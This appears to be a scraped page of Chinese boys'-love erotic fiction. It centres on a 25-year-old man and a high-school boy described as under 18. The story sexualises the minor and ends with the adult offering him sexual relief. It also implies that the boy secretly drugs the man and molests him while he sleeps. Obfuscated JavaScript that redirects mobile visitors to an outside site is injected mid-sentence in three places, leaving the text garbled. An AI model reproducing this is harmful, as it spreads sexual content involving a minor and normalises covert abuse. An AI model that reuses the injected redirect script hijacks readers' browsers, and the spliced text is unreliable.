《小羊脑洞集》 1. 游手好闲直男攻（1） 想看那种，游手好闲，吊儿郎当的直男攻，喜欢穿个花衬衫，扣子也不扣好露出大半个柰子，天天啥也不干就走街串巷。 他长得又高，宽肩窄腰大长腿，又凶，五官俊美锐利，眉压眼，看着像是个会收保护费的混混，但其实为人不坏，大方豪爽，朋友多，被人摸乃还会主动挺着，说咋样哥们儿我这练得不错吧。 某天跟狐朋狗友喝完酒，深夜路过小巷听到有人在打架，薄崇就去看了眼。薄崇本来喝了酒还有些晕乎，巷子里又黑又没灯，只能看到好像是几个人打一个。 被打那个人影儿看着瘦瘦小小的，却有副狠劲儿，被人围着也不怵，就紧咬着一个死命打，任别人怎么打他都不松手。 不过没带啥棍棒武器啥的，应该不会出多大事，薄崇就没打算多管。直到被打那人趔趄一下，后背暴露在月光中，让薄崇看清了他身上的衣服，是件校服，是当地一所鱼龙混杂的职校。 没过会儿又飞来一个书包，刚好砸在薄崇脚边，里面的东西散了一地，薄崇低头一看，哟呵一声——一张满分的物理卷子。 薄崇也是正儿八经读过高中的，也学的理科，但他从小到大物理就没及过格，再用脚一刨，又是张140的数学卷子。这是个好学生啊，薄崇想着，他对成绩好的人天然就有好印象，就出声：“喂，你们干嘛呢！” 一听有人来，本就被不要命打法打怕了几人顿时如鸟兽散，一溜烟跑了，被围薄崇那人靠着墙坐在地上，身上手上都是伤，一身狼狈。 他头发太长，薄崇没看清他脸，但看那破旧的书包和洗得发白的鞋，看出这娃家境应该不咋滴，就提着书包放在他旁边，还从钱夹里抽了两张大红钞票递过去：“前面右转有个诊所，你去包一下吧。” 那人没接，也没吭声，薄崇想着，自尊心嘛，也正常，毕竟他这个样子也蛮像是在施舍的，就蹲下身，说：“我看到你的卷子了，物理这么变态都能考满分，厉害啊。” 他比了几个大拇指，“成绩这么好，我觉着你铁定能考出这儿，加油啊。” 薄崇这会儿有点酒意上头，捏了捏鼻梁，把钱塞进那人的手里，说：“小弟弟，这条路晚上不安全，以后就别往这儿走了，早点包完回家去，明儿不星期一吗，你还得上课呢。” 说完薄崇就站了起来，刚走了几步，就听身后：“我没家。” 等薄崇睡醒起床，来客厅准备吨凉水时，推门看到自己焕然一新，干干净净的客厅，被洗好晾在阳台上的衣服，才挠了挠头。 进贼了？ 隔壁房门打开，穿着他衣服的少年抱着一堆杂物走出来，问：“这些放哪儿？” “放电视柜里吧。”薄崇说完愣了下，才道：“不儿，你谁啊？怎么在我家？” “边钰鸣。”比他矮小半头的边钰鸣就直勾勾地看着他，目光又渐渐下滑，落到那饱满的，因放松显得格外柔软的蜜色肌肉间：“衣服穿上。” 薄崇低头一看，他是有裸睡的习惯，但这会儿还好穿了条短裤，不至于在陌生人面前露鸟，不过又想，都是男的怕什么，就没当回事儿。 薄崇这会儿也想起来了，昨天是他瞧着，少年抬头看自己时眼里泪光闪闪的挺可怜，就脑子一热，把人带了回家，还让他以后就在这儿住。 说出去的话泼出去的水，他也没想收回，不过现在看边钰鸣那样子，还挺自然就把这儿当自己家了。 薄崇抱着手臂靠在门框，有些好笑：“嘿，你小小年纪的，还管上我了。” “随你。” 边钰鸣越过他，把东西放进电视柜，“锅里有粥。” 说完他看了眼时间，“我去上学了。” 走之前还拿走了玄关上的另一把钥匙。 嘿。 薄崇给看乐了，一股凉风蹿进阳台，他抱着手臂搓了搓，“好家伙，是有点冷哈。” …… 家里就这么糊里糊涂住了个人进来，薄崇的日常生活也没发生多大变化，依旧是白天出去走街串巷，晚上就跟人喝酒打打游戏。 只是不管多晚回去，家里都留着盏灯。 薄崇父母意外去世，给他留下一笔吃穿不愁的大额遗产和这处房产，薄崇以前嫌冷清，就更不想一个人呆在家，现在多了这么个人，他坐沙发上看电视打游戏，边钰鸣就带着耳机，坐在地毯上看书做题。 边钰鸣是个冷淡的性子，话不多，除了做饭做家务就是学习，薄崇自从高考完就没正儿八经读过书，跟他更没啥话题了，总之两人互不干扰，但久而久之，薄崇觉着还不错。 反正他其实也不喜欢酒吧ktv那些场所，太吵，这会儿更是有理由早点回去。 “又要走啊，哥你最近咋回事？你不在，我这酒吧生意都没之前好了。” 薄崇拍掉要来捏他胸的手，笑道：“你这话说得，咋，客人都是奔着我来的啊？” “那可不，谁不知道我们崇哥是这儿最靓的仔。”老板退而求其次搂上他的腰，“要不是你不喝别人送的酒，我看你这桌子估计得爆满。” 薄崇也笑：“喝可以，你这酒这么贵一杯，得给我发提成啊。” “发发发！”老板道，“只要你开口，把我这店送你都行。” “那算了，我懒得管。” 又被哄着喝了几杯酒，薄崇脸上泛起晕红，锋利的眉眼被酒意模糊，湿红眼尾显出几分性感。刚没注意大半杯酒都倒在了他身上，有些凉，他却觉着越来越热，扯了扯领口露出一片湿漉皮肉。 “我真得走了，我弟还在家等我呢，回去晚了他得着急了。” 最近也不知怎么的，他的胸越来越敏感，天天早上起床头都是红的，穿个衣服一磨擦，就跟过电一样，麻酥酥的，薄崇还以为是有虫，翻来覆去在床上找了半天，啥都没有，换了床单也不管用。 人马上高三了，正是忙的时候，天天叫他帮自己换床单也不是个事儿，薄崇没找到原因也就不想了，只是在外时小心着，不穿以前那种大v领衬衫，也不像以前那样随便让人摸了。 “诶，要不我送你。” “不用，额……谁摸我。” 薄崇摇摇晃晃地起身，他眼睛雾蒙蒙的，有些花了，闭上再睁开时，感觉身边的人影一下聚了过来。有人在摸他的脖子，腰，背，还有人掐了一把他的屁股。 是那种狎/昵下流的，但薄崇这会儿真有点醉了，没分辨出来，觉得是在跟他开玩笑，低喘着笑骂了声：“丫的，滚蛋。” 低沉的，磁性的，分明是短促的尾音，却因胸腔的闷响多出几分撩人心弦的沙哑。 “草！” 周围的人几乎是立刻怒然大勃，粗重的呼吸声伴随着脏话此起彼伏。 “真他爹的会勾引人，表子。” “好想现在就把他扒光，按在酒桌上*了，屁股这么大，不就正适合夹着男人晋江被厚*乳吗。” “扫货，天天凸着个烧艿头晃来晃去，还不许人碰，靠，我都忍得快爆了。” 周围的氧气愈发稀薄，薄崇头脑发晕，撑着桌沿，有些走不动。 他挥手想要驱赶，刚抬起就被人攥住了手腕，只得甩了甩，“干嘛呢，这么牵着怪恶心的，快点的，给我让开。” 恶心？ 倏地一静，接着，似是掀起了一股是比刚刚更为猛烈的浪潮。浓稠的，黏腻的情绪化为黑泥，要将薄崇卷入，吞噬。 越来越多的手朝他伸去，突然“啪啦”一声巨响，听那声音，是酒吧开业时薄崇送来的，放在门口的水晶雕像被砸了。 果不其然，门轰一下打开，保安道：“老板，有人来砸场子了。” 薄崇被这一吓酒醒了大半，推开半个身子都压在他身上的男人，道：“你重死了，喝这点就醉，你丫的以后别出门喝酒了，丢人。” 等着捡薄崇回去的老板勃然大怒：“谁！” 只见门后，一穿着校服的边钰鸣提着棒球棍，踩着一地碎片缓缓走近，径直往薄崇的方向走来。 薄崇一愣，看了眼还没到下自习时间呢，“你怎么来了？” 边钰鸣提着棒球棍的手抬起，一一指向围着薄崇的男人。酒吧内灯光昏暗，门后却是一片亮堂，叫他轻而易举看清了那些人眼中恶心的欲望。 攥着棍身的手指收紧。 分明是个半大少年，一身气势却不输在场之人，那阴沉沉的眸子更是看得人脚底生寒。 “滚。” “你他爹的，一个毛都没长齐的小屁孩儿还敢来这儿砸场子，你知道——” 薄崇习惯了他的不回应，连忙上前去牵他手，“你手没事儿吧，我看看划到没？” 老板本想上去问罪，看这架势也按捺住了，咬牙问：“崇哥，你认识？” 薄崇点头，一把夺过边钰鸣手里的棒球棍丢到一边，笑着搂住他的肩膀，“给你们介绍下，这我弟。。” 刚才还凶神恶煞，恨不得把边钰鸣砍了的男人瞬间变了脸色，“原来你就是崇哥的弟弟啊，久仰久仰。” 一群成年人对着一高中生说久仰，也是好笑，边钰鸣也不接话，转头在薄崇身上拍了拍，表情有些嫌弃：“回去换了。” “那我走了啊，以后就不来了，我弟马上高考了，我得守着他。” “哎！”老板急了，“崇哥，你——” 薄崇回头： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513189|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “门口那个碎了就碎了啊，没事，我给你换个铜的，包砸不烂。” 出门之前，边钰鸣回头，阴恻恻地盯着老板，酒吧里的灯映在他瞳孔，显出几分嗜血的红芒。 老板打了个寒颤，只能眼睁睁看着薄崇被他带走，又气，却又无可奈何。只能愤愤地一脚踹翻了桌子，心想，什么乖巧懂事的好学生，分明是个要吃肉的狼崽子。 相处这段日子，薄崇也知道边钰鸣是个心底有主意的，也就也没问本该在学校上自习的人怎么突然出现在了酒吧。 门刚关上，他就迫不及待扯下身上的衣服扔到地上，跌跌撞撞往浴室走。 他有些热。 一屁股坐在浴缸里时，他的裤子都才脱到一半，然后就被卡住了，薄崇这会儿又晕又热，扯了半天都没扯下来。 薄崇有健身的习惯，除了胸和臀，浑身上下都没有多余的赘肉，但紧实的麦色大腿被这么一勒，还是溢出些肉弧。 边钰鸣就站在门口看着他，也没有帮忙的意思，等薄崇好不容易脱下来时，腿外侧绕着半圈红痕，像是某种play后留下的痕迹，在麦色肌肤上格外显眼，也吸引着人想要再拿点什么东西，将其牢牢捆住。 薄崇伸手去拧冷水，却有只手先一步帮他打开了温水，体内的燥热被温水抚平，薄崇舒舒服服地喟叹一声，眉眼舒展，像只慵懒的大猫，道：“谢了啊。” 他闭着眼，也就并未看清浴缸前的边钰鸣，用冰冷的视线一寸寸丈量过他的身体，是在看是否有可疑的痕迹。 直到什么都没发现，边钰鸣眸中的怒火才化作另一种形式的暗火，他蹲下身：“我帮你洗头。” 薄崇懒洋洋的哼了声，挪了挪身子，将头靠在浴缸边沿，毫无防备地将一切袒露。他薄唇被水汽熏得通红，长得过分的睫毛粘湿成一簇簇，整个人柔软得不像话。 “唔……”薄崇轻轻哼了声，问，“你什么时候去学的头皮按摩？” “以前。”边钰鸣动作未停，“舒服么？” “舒服。” “那以后我帮你洗。” 薄崇睫毛颤了颤，试图掀开，又怕眼睛进水，“那不行，多耽误你时间啊，有这功夫，你不如去多做两道题。” 边钰鸣没说话，只是手指缓缓下移，按在后脑某个穴位，薄崇头皮发麻，猝不及防低吟出声。这一声在潮湿闷热的狭小空间里，格外令人脸红心跳。 “我也当放松。” “那行吧。” 洗着洗着薄崇困了，强撑着精神从浴缸里爬起，草草把擦了擦身上的水，就要往床上扑，被边钰鸣一把搂住腰拦下。 “等等。” 薄崇还不知道边钰鸣什么时候有这么大的力气，搂着他的纤细手臂如铁箍，他居然挣脱不开。瞬间的愣神后，他又用力挣了挣，这下很轻易地挣开了。 就好似刚刚都是他的幻觉。 “先喝杯水。” 只穿了条内裤的薄崇坐在床上，长腿委委屈屈的盘着，手撑在膝盖上等边钰鸣给他吹干头发。吹风机的轰鸣声中，他想自己都是个25的男人了，怎么在家，还是这个没满18的边钰鸣在照顾自己。 给他钱也没要，买点东西也被退回去了，说给他买衣服，结果边钰鸣轻车熟路地进了他房间，抱着一堆他自己都不知道塞在哪里的旧衣服出来了。边钰鸣又是洗衣做饭，又是整理房间的，现在有些东西放哪儿薄崇自己都不知道了，还得打电话问他。 还好职高管得不严，能带手机。 当初把人带回来，是让他来干这些事的吗？ 薄崇脑子乱乱的，感觉不太对，但是太困了，他也没寻思出个名堂来，眼皮慢慢阖上，连自己什么时候被塞进被窝的都不知道。 第二天睡醒，薄崇睁眼一看居然快十二点了，他坐起来，被子从肩头滑落，饱满松软的胸乳间，那两颗果实艳得出奇。 薄崇嗓子又干又涩，侧身去够床头的水杯，分明是摩擦系数最小的真丝被，擦过时却依然激起了一阵颤栗，痛、麻，还有些肿，硕大的果实坠在枝头，看样子是收不回去了。 薄崇皱着眉，低头试着用指尖戳了戳，试图把它戳回去，结果手一抖差点把水都洒床上，咬着唇险些呻..吟出声，也就不敢再碰了。 喝完水下床时腿有些软，走路也不得劲儿，腿根也有些痛，薄崇坐在马桶盖上抬起腿看了半天，也是红的，两块嫩..肉遍布血丝，像是被什么大力摩擦过。 难道是他昼夜颠倒太久，免疫力下降导致出现酒精过敏的症状了？ 薄崇悻悻地给自己买了过敏药和药膏。 戒酒是不可能戒的，他就这点爱好了。 2. 游手好闲直男攻（2） 日子就这么一天天过去，薄崇不去酒吧，就更没事做了，闲暇之余，他在边钰鸣的建议下拿卡里的闲钱投资了几个他说感觉会不错的店，意外挣了不少。 薄崇乐呵呵地买了堆教辅资料送给边钰鸣（他不要别的），把他那头黑发揉得乱七八糟：“真有天赋，不愧是我弟。” 边钰鸣默不作声垂下眼，将手中的纸条塞进他手里，“记得下午三点前把这只股全部抛出去。” “ok！”薄崇朝他wink，“你哥我保证完成任务。” 按边钰鸣说的操作完，薄崇换了身衣服，提着头盔出了门。 他最近开发了个新的爱好，那就是机车，把手一握油门一轰，简直爽爆了。 跟车队的人跑了几圈，薄崇还有些意犹未尽，但眼看着快到放学时间，他道：“不骑了，我去接我弟去。” “崇哥，你还真如他们所说，是个究极弟控啊，瞧你弟把你管得。”那人啧啧几声，搭上他肩膀，“好久都没见你跟人喝酒去了，今晚我们哥几个约一个？。” 外面的酒没他弟调得好喝，还伤身，他弟调的喝了睡得又香，醒了还不会头痛欲裂得跟被人打了一拳似的，他还花钱去外面受罪干嘛。 “你们明天不还得比赛吗，晚上喝什么酒。”薄崇白他一眼，“走了。” “早点来看啊！” 薄崇没回头，单手挥了挥，骑着机车扬长而去。 开到职校门口时刚好放学，薄崇找了个树下阴凉的位置停车，瞧着鱼贯而出的一众男男女女，奇装异服的，浓妆艳抹的，有的还染着头特辣眼的头发，看得薄崇直摇头。 还是他弟乖，不抽烟不染发，还一年四季都穿校服，简直就是根又水灵又挺拔的小葱。 薄崇一身酷飒的皮衣皮裤，又骑着个大家伙，在学校门口可拉风，吸引了不少视线，等边钰鸣出来时，门口叽叽喳喳地围满了人。 薄崇没摘头盔，边钰鸣也能第一眼认出这就是他，冷着脸在角落站了会儿，把那几个都快扒在薄崇身上的人记住，他才不紧不慢上前。 “哥你明天还来不，你这也车太帅了吧，能不能拉着我——” “不能。” 说话那人后脖子一凉，转过头看到边钰鸣那张冰块脸，被吓了一跳，没说完的话就这么堵在了喉咙里。 “来啦！”薄崇朝他嘀了下喇叭，大声道：“让让啊，我弟来了，我们得走了。” 拿出一个备用头盔扔给边钰鸣，等他上车坐好，薄崇刚起步，就被腰间搂得紧紧的手臂勒得呼吸一滞。 他伸手拍了拍：“你松点。” 没反应，估计是没听到，等到了家楼下，薄崇摘下头盔，长长呼出一口气。 “到了，下车吧。” 夏天快过了，但这会儿穿皮衣还是有些热，更别说闷在头盔里的，薄崇的脸和脖子都蒙了一层汗，在阳光下，晶莹水痕似是在肌肤上涂了层蜜，烘烤出可口的香气。 没反应，以为又跟上次那样，边钰鸣累极回家，刚开门就倒了下来把他压在地上，薄崇都吓死了，结果才发现是他睡着了。 薄崇又提醒了遍，掐着他的手臂才不情不愿地松开了。 “没睡啊，那就快点下车，这都几月份了，这鬼天气怎么还这么热” 身上一凉，皮衣被边钰鸣扒掉了，黑色背心被汗湿后紧贴，宽肩劲腰，倒三角的完美线条一览无余。 边钰鸣眼神一暗。 等他下车，薄崇呲牙咧嘴地揉揉腰，“你咋这大劲儿，我都快被你勒死了。” “吃饱。” 也是，吃饱就有劲儿。 薄崇伸手把边钰鸣抱在怀里的皮衣夺了过来，重新穿上，转头朝他露出一口大白牙：“咋样，哥帅不？” “热。”边钰鸣又要去扒他衣服，薄崇连忙伸手给他按住，恰好按在胸口。 “别碰，懂不懂什么是造型？” 薄崇一挑眉，挺腰坐直了些，一手把住车头，修长双腿直直卡在两侧，皮裤勾勒出荷尔蒙十足的肌肉线条。 “是不是帅爆了。” 他一挺腰，无疑是把胸乳往边钰鸣手中送得更多了些，身后那绷紧的部位格外饱满挺翘，充斥着蓬勃的肉..欲。 边钰鸣几乎控制不住想要揉捏的欲望，宽大校裤隆起可怖弧度，在薄崇看不见的地方，眸中的暗色如一头巨兽，叫嚣着要将他连皮带骨，吞噬殆尽。 最终还是按捺住了。 他哑着嗓子：“是。” 帅爆了，也…… s爆了。 不知怎的，薄崇第二天格外累，只觉得腰和大腿哪哪儿都不舒服，吃完边钰鸣煮好放在桌上的早饭，一沾床就又昏昏沉沉睡了过去。 睡得天昏地暗不知时间为何物，忽地被哐当一声吵醒，一道身影闯入，将他死死按在床上。 “嗯？” 闻到熟悉的味道，薄崇紧绷的肌肉也放松了下去，他睡意惺忪，手却抬了起来，摸着边钰鸣的后脑，“怎么又回来了？” 愈发急促的呼吸和肩上的灼热让薄崇清醒了。 这是……哭了？ “怎么了，在学校受欺负了？” 还是没吭声。 薄崇有些急了，他弟成绩又好，长得又好，明明是能读重点高中的成绩，却只能被迫读鱼龙混杂的职中。学习环境如此复杂，就这样，他还能保持上进心，这么好一孩子，怎么总有不长眼的东西欺负他！ “走，哥带你去找场子，那些欺负你的跟哥说，哥去教训他们。” 薄崇想起身，腰挺了下，没动得了，边钰鸣不知何时已经越长越大只，压得他发麻，“你先起来。” 其实无人敢惹他的边钰鸣抬起头，除了猩红的双眸以外，脸上却没有半分哭过的痕迹，他紧紧盯着薄崇，一字一句，咬着牙：“为什么不接电话。” 薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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趁薄崇抽了几张纸擦肩膀的功夫，边钰鸣拿过手机，轻车熟路开了锁，录入指纹，设好紧急联系人后，又把他的备注从“弟”改成了emoji“[红心]”。 “改成这个干嘛？” “显眼，好认。” 言简意赅，一点多余的话都没有。 薄崇拿过来一看，在密密麻麻的通讯录里是挺显眼的。 不过改成这个，被他以后交的女朋友看到了怎么解释啊，跟她说这是他弟？ 这能信吗？ “换一个呗。”薄崇的指尖故意落在“[狗]”上，“这个咋样，我觉着跟你也挺配的。” 边钰鸣沉默不语，只是开始飕飕放冷气。 “好好好，不改不改，就这个。”把腿从被子里伸出来，踹了踹边钰鸣的腰，薄崇道，“午饭都没吃，好饿啊。” “等着。” 3. 游手好闲直男攻（3） 衣柜里的花衬衫全被换掉了，薄崇摸了件黑衬衫穿上，又套了个西装外套，站在镜子面前越看自己越满意，像个商务人士。 就是衬衫太容易皱，薄崇理了好几次，还是一抬手就皱，薄崇没辙了，刚想换下来，边钰鸣回家了。 “诶弟，你有主意，你说怎么让这玩意不皱啊，弄得人可烦。” 边钰鸣放下书包，回房取了个黑色的皮质物品。 “这啥？” “衬衫夹。”边钰鸣脱了外套，精壮的腰背缓缓蹲下，单膝跪在薄崇面前，伸手去解他的皮带扣。 金属搭扣碰撞出清脆响动，薄崇的后腰抵在木桌边沿，攥住自己松垮的裤腰瞪大眼，“你脱我裤子干嘛？” “要固定在大腿上。” “哦。” 薄崇乖乖松了手，裤腰下坠堆在脚踝。他低着头看自己身前毛茸茸的头顶，大腿上若有似无的轻柔呼吸让他莫名觉得有些紧张，又有些奇怪。 要离这么近吗？ 皮质束带绕过大腿，发出细微摩擦声，冰凉的金属夹咬住衬衫下摆那刻，薄崇嘶了声。边钰鸣的苍白指节顿了顿，指腹状似无意地擦过他的大腿内侧，薄崇又是一抖。 “别动。” 那处分明从未有过太大感觉，却在不知何时，不知何物的摩擦后变得愈发敏感，那一下差点让薄崇腿软，还好有身后的桌子撑住。 “好了。”边钰鸣并未起身，抬头，“你抬手试，我来调整。” 腿部传来明显的束缚感，薄崇一看，大腿处已经被勒出一圈浅红印痕，但在他能接受的范围内。抬手试了试，金属夹死死咬住衬衫下摆不松口，的确没了松动的迹象。 “挺好的，你别蹲着了，快起来吧。” 薄崇伸手，一个用力将人拉起，许是蹲麻了，边钰鸣趔趄一下，掌心隔着衬衫压住了他左侧的汝尖。 薄崇轻轻吸了口气。 “没站稳。”睫毛在眼下投出锯齿状的阴影，遮住了瞳孔中翻涌的暗色，“压痛了？我看看。” “不痛。”薄崇弓着腰躲了下，“才弄好呢，看什么。” “给我看看。” 这也太关心他了，薄崇没办法，解开一颗纽扣，恰好露出一方能过看到赤果的狭小空间，“看吧看吧，你那轻轻一压怎么可能压得坏，你哥这身体又不是纸做——” 尾音陡然变成一声低吟，“你看就看，捏什么？” 面前的边钰鸣紧紧盯着被重新掩盖的那处，手指还维持着捏的姿势，像是在研究一道题，他歪了歪头，脸上是不解与好奇：“为什么你的这么大？” 我怎么知道！ 艿头大是什么好事儿吗？ 薄崇都要抓狂了，不耐烦地推了他一把，“行了行了，别在这儿站着，我还有事儿呢。” 他弯腰拉上裤子，去玄关穿鞋，“哦忘了跟你说，我晚上不在家吃饭。” 边钰鸣跟着他：“去哪儿？做什么？” “相亲。”薄崇一挑眉，“等哥给你带个嫂子回来啊。” 结果失败了。 相亲对象再怎么满意，也抵不过对方有个一看就不好对付的弟弟啊。 “抱歉，你和我想象中的是不一样，你很好，但我想……我们没有再见的必要了。” 又一次。 薄崇黑了脸，起身来到身后的第三桌，一把扯开起那举起大菜单，“你又逃——” 是张陌生的脸。 “不好意思，认错人了。” 薄崇道完歉，转身出门，路过巷口时，幽幽传来一道清澈而熟悉的嗓音，“哥，你结束了？” “你装什么。”薄崇都快气笑了，“不就是你到处跟人说我特花心容易出轨，现在也没玩儿够，只想找个人试试结婚的感觉吗？” 他明明只谈过一段，还是在高中的时候，后来家里出事，他就分了手，颓废了几年，也没想过要祸害其他人，一直到现在，感觉自己生活迈入正轨了，才在一些街坊的游说下开始相亲。 他对待感情很认真的好吧！ “怎么会是我？” 边钰鸣脸上是罕见的惊讶与委屈的神色，任由薄崇攥着自己的领口，呼吸都有些不顺，也只是仰着脑袋，去握薄崇的手，“我一直都很想，你能早日找到，合适的伴侣。” 那些人有什么好的？不过听到一些虚虚实实的消息，就散跑得比谁都快，怎么可能配得上薄崇！ 垂在身侧的另一枚拳头用力到青筋暴起，几欲破皮而出。 “真的？” 薄崇仔细想了想，好像边钰鸣除了第一次，其他几次都坐得远远的。 最多也只是在桌上没有他喜欢吃的东西时添上几道，让服务员帮忙传递他忌口的消息。至于别的，好像还真没做什么出格的事儿。 “真的。”边钰鸣笃定道，三根手指并拢，“如果我撒谎骗你，那就让我高考当天发烧，断手，一个字都写不出来。” “你！”薄崇着急去堵他的嘴，“不是就不是，你有病啊。” 高考这种人生大事，怎么能用来打赌呢，薄崇都想扇他一巴掌，又怕把人脑子打坏，气急败坏地跺了三下脚，手掌合十拜了拜，“没发誓没发誓，小孩儿不懂事胡说的，各路神仙莫见怪啊。” 边钰鸣乖乖地闭嘴，那双黑得有些怪异的眸子眨巴眨巴，浮出些笑意。 算了，等他高考完再说吧。 …… 职高是鱼龙混杂，但也并非没有认真学习的学生。 一诊成绩出来，边钰鸣以654分稳坐全年级第一，甩第二40来分。 而到了二诊，边钰鸣考了655，而第二那名女生，考了631。 比一诊高1分，算是进步，但——比起拉出的分差，那是妥妥的退步啊！ 第二名的女生他开家长会时见过，带着个黑框眼镜蛮文静内向一小姑娘，但在离开前还跑到他面前，细声细气说她会超过边钰鸣的。 这下好了，看这架势三诊就要超过了！ 再三确认不是因为什么发烧，手痛等因素影响，薄崇攥着成绩单在家里走来走去，皱着眉百思不得其解。 边钰鸣的用功他都看在眼里，也没掺半点水分，可是这成绩，怎么就不对劲呢？ “我不渴。” 薄崇挥开边钰鸣端着水杯的手，摸着下巴想了半天，瞅着客厅里书包一角露出的，像是情书一类的粉色信封状的物体狐疑道：“你最近是不是……谈恋爱了？” 他的脊背肉眼可见的一僵。 “还真是啊？” 薄崇不可置信地喘了几口气，叉着腰，只觉一股怒火直冲脑门，指着边钰鸣鼻子的手指都在抖，“你，你！好啊。” 他为了边钰鸣能专心应付高考，最近也没喝酒，没乱跑，也不去相亲了。 结果呢，这小孩儿可好，自己谈上了！ “现在是谈恋爱的时候吗，啊？”他道，“离高考就两个月了，你疯了吧这个时候谈恋爱，我不同意，马上给我分手。” “可是，我……” 他居然犹豫了。 边钰鸣一向听他的话，可这会儿，他居然犹豫了！ 薄崇被气得头有些晕：“可是什么可是，现在，马上，打电话，说分手！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513191|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 薄崇觉得这会儿自己就是个棒打鸳鸯的独裁大家长的形象，但他也没空管边钰鸣乐不乐意了，直接抄起桌上的手机，翻到了通讯录里备注为“amato”的名字。 这玩意儿的意思边钰鸣跟他说过，是意大利语的“挚爱”。 小小年纪早个恋还整上挚爱了，这一天天的。 “……” 铃声从他的裤兜里传了出来。 这下愣住的换成薄崇了。 “我没谈恋爱。”边钰鸣干巴巴道，“我喜欢的人，不喜欢我。” 他低眉耷眼的，看着还有些可怜，薄崇刚冤枉了他，这下心又软了，一把搂住他的肩膀，“害，我家小鸣这么好，怎么会有人不喜欢呢，说不定人家也只是想等高考完再答应呢。” 边钰鸣得寸进尺地往前埋了埋，鼻腔满是男人身上混着橘调乌龙水的荷尔蒙气息，感受着说话时的波涛起伏，满脑子却都是自己埋头吸**，抬起腿并拢*入，他哭c不止，却始终无法醒来，任由自己将那麦色肌肤涂抹上层层白露的诱人模样。 他并起腿，哑声道：“真的会答应我吗？” “当然是真的！”薄崇摸着他的脑袋，“总之，等你考完，到时候无论是恋爱，还是染发旅游啊，反正你干什么都行。” “只是现在，绝对不能谈恋爱，明白吗！” 埋在他胸口的脑袋点了点，鼻尖若有似无地擦过红果，那炽热的鼻息隔着衣物也精准的喷洒在其间。 薄崇咬着唇，眼中蒙上一层水色，腰软地根本坐不住，几乎是陷在沙发靠背。 “好……好了。”他滚了滚喉咙，压下难耐的c息，“你今晚的题做了么？” “还没。” 边钰鸣在他忍耐不住上手之前抬起了脑袋，他抿抿唇，“最近……我总感觉不在状态，做什么都没劲。” 也是经历过高考的薄崇问：“是不是压力太大了？” 见边钰鸣点头，他从茶几下摸出两个游戏手柄，“那今晚别学了，我陪你打游戏发泄一下。” “不想打。” “那我们出去转转？好久没骑车了，咱兜风去。” “不了。” “明天给你请天假，我们哥俩喝点儿？” 酒过三巡，薄崇都有些醉了，边钰鸣还是那份闷闷不乐的模样，都说酒能打开话匣子，但薄崇左问右问，得到的答案都是：“没什么。” 在家里也没什么，在学校也没什么烦心事，所以到底是哪儿出了问题？ 薄崇撑着额，侧头看他，雾蒙蒙的眼睛在昏黄灯光下也似注了汪酒，要将人溺死在其间。 “那你还觉着有没有哪儿不舒服？” 有的话就趁早去医院看看，别把孩子逼出个什么抑郁症了。 “有。” 薄崇俯身凑近，只见边钰鸣指尖对准处，赫然是无法忽视的弧度。 “这里。” 薄崇一惊，只是喝酒，又没谈又没看什么限制级的画面，怎么这也能有反应？ 他尴尬地咳了两声：“所以你平时……就是因为这个？” “可能是吧，不过只是在家会。”边钰鸣却像是在谈今晚吃什么一般自然，半点羞都没有，“起来了，我就没那么专心。” 薄崇含糊道：“那你，摸摸嘛，出来就好了。” “不管用。”边钰鸣说，“自己弄的时间太久，不如去做题，几套卷子做完它自己就消了。” 这怎么行呢？ 少年人血气方刚，有反应也很正常，但是憋久了也会出毛病的！ 薄崇脑袋一热：“要不，我帮你？” 4. 笨笨小狗攻（1） 是那种身材练得很好的笨笨小狗攻，有点小自恋，觉得自己肌肉练得特漂亮，就经常在朋友圈发自拍。 “报告！今日120组卷腹over！厉害吧??????” 配图是张用小虎牙叼着衣角看向摄像头的自拍照，从下往上拍的，腹肌占了极大部分画面，蒙着层晶莹细汗的肌肉刚好六块，块垒分明，排列齐整地分布在紧窄腰身间，再往下，还有两条隐没在裤沿的人鱼线。 偶尔还会有胸肌照。 “75kg挑战成功，耶！?〃????〃?” 但小狗也会害羞，不会直接掀起衣服照——汗湿的布料紧紧贴在上身，勾勒出磅礴而浑圆的线条，领口露出的小半肌肤泛起充血的粉，不用想也知道，那被遮住的饱满胸肉定然也是粉白一片。 不过肌肤是遮住了，因激烈运动而凸起的头头却似镶嵌在馒头上的小红豆，直挺挺地立起，将布料顶出yd的弧度。 小狗先天条件好，又从小就喜欢运动，除了青春期异军突起、发育得异常饱满的胸肌外，其他肌肉皆紧致，完全不似泡在蛋白粉里的臃肿。 这也导致他即使是发肌肉照，也半分不油腻，反倒让人感受到那扑面而来的蓬勃生机与活力。漂亮的线条仿佛就在眼前，随着呼吸起伏，看得人头晕目眩，想要亲自上手，用指腹细细摸索过每一道沟壑。 但熟悉小狗攻的都知道，看看可以，摸不行，小狗不喜欢跟人靠太近，也不喜欢有人碰他。 